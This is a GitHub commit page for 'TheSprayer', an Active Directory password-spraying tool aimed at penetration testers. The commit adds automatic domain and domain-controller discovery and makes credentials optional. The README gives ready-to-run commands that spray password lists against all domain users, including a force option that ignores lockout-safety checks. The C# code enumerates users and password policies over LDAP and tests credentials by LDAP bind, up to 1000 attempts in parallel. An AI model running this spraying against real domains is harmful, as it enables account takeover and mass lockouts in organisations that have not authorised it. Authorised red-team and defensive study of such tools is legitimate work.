Skip to content

Commit 14d8765

Browse files
committed
Add automatic domain and DC discovery
1 parent a145dc6 commit 14d8765

5 files changed

Lines changed: 142 additions & 41 deletions

File tree

ReadMe.md

Lines changed: 28 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,23 +6,44 @@ TheSprayer is a cross-platform tool designed to help penetration testers spray p
66

77
## Quick Start
88
To run it, you will need to update the parameters.
9-
The tool requires a domain name, DC IP/Hostname and a Username+Password combo for the domain in order to enumerate users and password policies.
9+
I've covered off a bunch of common use cases below, you can mix and match too! 🔥
1010

11-
Spray all users with a password list:
11+
##### Spray all users with a password list:
1212
```
13-
TheSprayer.exe -d windomain.local -s 192.168.38.102 -U Administrator -P Password1 -p Passwords.txt
13+
TheSprayer.exe -p Passwords.txt
1414
```
1515

16-
Spray against a list of users:
16+
##### Spray against a list of users:
1717
```
18-
TheSprayer.exe -d windomain.local -s 192.168.38.102 -U Administrator -P Password1 -u Users.txt
18+
TheSprayer.exe -u Users.txt
1919
```
2020

21-
Spray a single user+password without any files:
21+
##### Spray a single user and password:
2222
```
23-
TheSprayer.exe -d windomain.local -s 192.168.38.102 -U Administrator -P Password1 -u DomainAdmin -p DefinitelyValidPassword
23+
TheSprayer.exe -u DomainAdmin -p DefinitelyValidPassword
2424
```
2525

26+
##### Spray as another user
27+
```
28+
TheSprayer.exe -U Administrator -P Password1 -p Passwords.txt
29+
```
30+
31+
##### Spray from a non-domain machine
32+
```
33+
TheSprayer.exe -d windomain.local -s 192.168.38.102 -p Passwords.txt
34+
```
35+
36+
##### Spray from a non-domain machine with another user
37+
```
38+
TheSprayer.exe -d windomain.local -s 192.168.38.102 -U Administrator -P Password1 -p Passwords.txt
39+
```
40+
41+
##### Force spray a password list against all users
42+
```
43+
TheSprayer.exe -p Passwords.txt -f
44+
```
45+
*Note: This will spray even if it's detected as unsafe, use at your own risk!*
46+
2647
## Options
2748
```
2849
-d, --Domain Required. The Active Directory domain (e.g. windomain.local)

TheSprayer/ActiveDirectoryService.cs

Lines changed: 23 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77
using System.Linq;
88
using TheSprayer.Helpers;
99
using System.Threading.Tasks;
10-
using System.Diagnostics;
1110

1211
namespace TheSprayer
1312
{
@@ -26,7 +25,6 @@ public ActiveDirectoryService(string domain, string domainUser, string domainUse
2625
_domainUserPass = domainUserPass;
2726
_domainController = domainController;
2827

29-
//TODO: Get the DN properly instead of yolo'ing like this
3028
var splitDomain = _domain.Split('.');
3129
_distinguishedName = "";
3230
foreach (var split in splitDomain)
@@ -48,13 +46,12 @@ public List<PasswordPolicy> GetFineGrainedPasswordPolicy()
4846
var policies = new List<PasswordPolicy>();
4947
string filter = "(objectClass=msDS-PasswordSettings)";
5048

51-
LdapConnection connection = new(new LdapDirectoryIdentifier(_domainController, 389, false, false));
52-
connection.Credential = new NetworkCredential(_domainUser, _domainUserPass, _domain);
53-
SearchRequest searchRequest = new(_distinguishedName, filter, SearchScope.Subtree);
49+
var connection = CreateLdapConnection();
50+
var searchRequest = new SearchRequest(_distinguishedName, filter, SearchScope.Subtree);
5451

5552
try
5653
{
57-
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
54+
var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
5855

5956
foreach (SearchResultEntry entry in searchResponse.Entries)
6057
{
@@ -97,13 +94,12 @@ public PasswordPolicy GetPasswordPolicy()
9794
{
9895
string filter = "(&(objectClass=domainDNS))";
9996

100-
LdapConnection connection = new(new LdapDirectoryIdentifier(_domainController, 389, false, false));
101-
connection.Credential = new NetworkCredential(_domainUser, _domainUserPass, _domain);
102-
SearchRequest searchRequest = new(_distinguishedName, filter, SearchScope.Subtree);
97+
var connection = CreateLdapConnection();
98+
var searchRequest = new SearchRequest(_distinguishedName, filter, SearchScope.Subtree);
10399

104100
try
105101
{
106-
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
102+
var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
107103

108104
var entry = searchResponse.Entries[0];
109105
var pwdMaxAge = Convert.ToInt64(entry.Attributes["MaxPwdAge"][0]) / (double)-864000000000;
@@ -150,13 +146,9 @@ public List<ActiveDirectoryUser> GetAllDomainUsers()
150146
// LDAP Filter to get all domain users. This needs to be modified but works for testing.
151147

152148
string filter = "(&(objectCategory=person)(objectClass=user))";
149+
153150
// Initiate a new LDAP connection.
154-
// todo: initiate LDAPS connection if LDAP fails
155-
LdapConnection connection = new(new LdapDirectoryIdentifier(_domainController, 389, false, false));
156-
connection.Credential = new NetworkCredential(_domainUser, _domainUserPass, _domain);
157-
// Numerous Authtypes are possible
158-
// todo: have this selectable from the UI
159-
//connection.AuthType = AuthType.Kerberos;
151+
var connection = CreateLdapConnection();
160152
SearchRequest searchRequest = new(_distinguishedName,
161153
filter,
162154
SearchScope.Subtree,
@@ -279,7 +271,7 @@ public void SprayPasswords(IEnumerable<string> passwords, IEnumerable<string> us
279271
new ParallelOptions { MaxDegreeOfParallelism = 1000 },
280272
user =>
281273
{
282-
if (TryValidateCredentials(user.SamAccountName, password, out var message))
274+
if (TryValidateCredentials(user.SamAccountName, password))
283275
{
284276
ColorConsole.WriteLine($"{user.SamAccountName}:{password}");
285277
if (!string.IsNullOrWhiteSpace(outputFile))
@@ -355,26 +347,31 @@ public static bool ShouldSprayUser(ActiveDirectoryUser user, PasswordPolicy defa
355347
}
356348

357349
public bool TryValidateCredentials(string username, string password)
358-
{
359-
return TryValidateCredentials(username, password, out var _);
360-
}
361-
362-
public bool TryValidateCredentials(string username, string password, out string message)
363350
{
364351
LdapConnection connection = new(new LdapDirectoryIdentifier(_domainController, 389, false, false));
365-
connection.Credential = new NetworkCredential(username, password, _domain);
352+
connection.Credential = new NetworkCredential(username, password);
366353

367354
try
368355
{
369356
connection.Bind();
370-
message = "Success!";
371357
return true;
372358
}
373-
catch (LdapException e)
359+
catch (LdapException)
374360
{
375-
message = e.Message;
376361
return false;
377362
}
363+
364+
365+
}
366+
367+
private LdapConnection CreateLdapConnection()
368+
{
369+
var connection = new LdapConnection(new LdapDirectoryIdentifier(_domainController, 389, false, false));
370+
if (!string.IsNullOrWhiteSpace(_domainUser) && !string.IsNullOrWhiteSpace(_domainUserPass))
371+
{
372+
connection.Credential = new NetworkCredential(_domainUser, _domainUserPass);
373+
}
374+
return connection;
378375
}
379376
}
380377
}

TheSprayer/CommandLineOptions.cs

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,16 @@ namespace TheSprayer
44
{
55
public class CommandLineOptions
66
{
7-
[Option('d', "Domain", Required = true, HelpText = "The Active Directory domain (e.g. windomain.local)")]
7+
[Option('d', "Domain", Required = false, HelpText = "The Active Directory domain (e.g. windomain.local)")]
88
public string Domain { get; set; }
99

10-
[Option('s', "Server", Required = true, HelpText = "The IP or hostname of a domain controller")]
10+
[Option('s', "Server", Required = false, HelpText = "The IP or hostname of a domain controller")]
1111
public string DomainController { get; set; }
1212

13-
[Option('U', "Username", Required = true, HelpText = "Username for domain user to enumerate policies")]
13+
[Option('U', "Username", Required = false, HelpText = "Username for domain user to enumerate policies")]
1414
public string Username { get; set; }
1515

16-
[Option('P', "Password", Required = true, HelpText = "Password for domain user to enumerate policies")]
16+
[Option('P', "Password", Required = false, HelpText = "Password for domain user to enumerate policies")]
1717
public string Password { get; set; }
1818

1919
[Option('u', "UserList", Required = false, HelpText = "A file containing a line delimited list of usernames or a single user to try")]
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
using System.DirectoryServices.AccountManagement;
2+
using System.DirectoryServices.ActiveDirectory;
3+
using System.Runtime.InteropServices;
4+
5+
namespace TheSprayer.Helpers
6+
{
7+
public static class DomainHelpers
8+
{
9+
public static string GetCurrentDomain()
10+
{
11+
try
12+
{
13+
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
14+
{
15+
return System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
16+
}
17+
}
18+
catch {}
19+
20+
return null;
21+
}
22+
23+
public static string GetDomainController(string domainName)
24+
{
25+
try
26+
{
27+
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
28+
{
29+
var domainContext = new DirectoryContext(DirectoryContextType.Domain, domainName);
30+
31+
var domain = Domain.GetDomain(domainContext);
32+
var controller = domain.FindDomainController();
33+
return controller.IPAddress;
34+
}
35+
}
36+
catch {}
37+
38+
return null;
39+
}
40+
41+
public static bool IsImplicitUserValid(string dc)
42+
{
43+
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
44+
{
45+
using var context = new PrincipalContext(ContextType.Domain, dc);
46+
return context.ValidateCredentials(null, null);
47+
}
48+
return false;
49+
}
50+
}
51+
}

TheSprayer/Program.cs

Lines changed: 36 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
using CommandLine;
2+
using System;
23
using System.Collections.Generic;
34
using System.IO;
4-
using System.Linq;
5+
using TheSprayer.Helpers;
56

67
namespace TheSprayer
78
{
@@ -10,9 +11,7 @@ public class Program
1011
public static void Main(string[] args)
1112
{
1213
Parser.Default.ParseArguments<CommandLineOptions>(args).WithParsed(o =>
13-
{
14-
var adService = new ActiveDirectoryService(o.Domain, o.Username, o.Password, o.DomainController);
15-
14+
{
1615
IEnumerable<string> passwords, users;
1716
int remainingAttempts;
1817

@@ -54,6 +53,39 @@ public static void Main(string[] args)
5453
remainingAttempts = 2;
5554
}
5655

56+
//Try figure out the domain if it isn't provided
57+
if (string.IsNullOrWhiteSpace(o.Domain))
58+
{
59+
o.Domain = DomainHelpers.GetCurrentDomain();
60+
if (string.IsNullOrWhiteSpace(o.Domain))
61+
{
62+
ColorConsole.WriteLine("Unable to determine domain automatically. Please run on a domain joined device or specify the domain with -d.", ConsoleColor.Red);
63+
return;
64+
}
65+
}
66+
67+
//Try figure out the dc if it's not provided
68+
if (string.IsNullOrWhiteSpace(o.DomainController))
69+
{
70+
o.DomainController = DomainHelpers.GetDomainController(o.Domain);
71+
if (string.IsNullOrWhiteSpace(o.DomainController))
72+
{
73+
ColorConsole.WriteLine("Unable to determine domain controller automatically. Please run on a domain joined device or specify the dc IP or host name with -s.", ConsoleColor.Red);
74+
return;
75+
}
76+
}
77+
78+
//If no username or password passed in, test authentication with SSPI
79+
if (string.IsNullOrWhiteSpace(o.Username) || string.IsNullOrWhiteSpace(o.Password))
80+
{
81+
if (!DomainHelpers.IsImplicitUserValid(o.DomainController))
82+
{
83+
ColorConsole.WriteLine("Unable to validate current user automatically. Please specify a domain users creds with -U and -P.", ConsoleColor.Red);
84+
return;
85+
}
86+
}
87+
88+
var adService = new ActiveDirectoryService(o.Domain, o.Username, o.Password, o.DomainController);
5789
adService.SprayPasswords(passwords, users, remainingAttempts, o.OutFile, o.Force);
5890
});
5991
}

0 commit comments

Comments
 (0)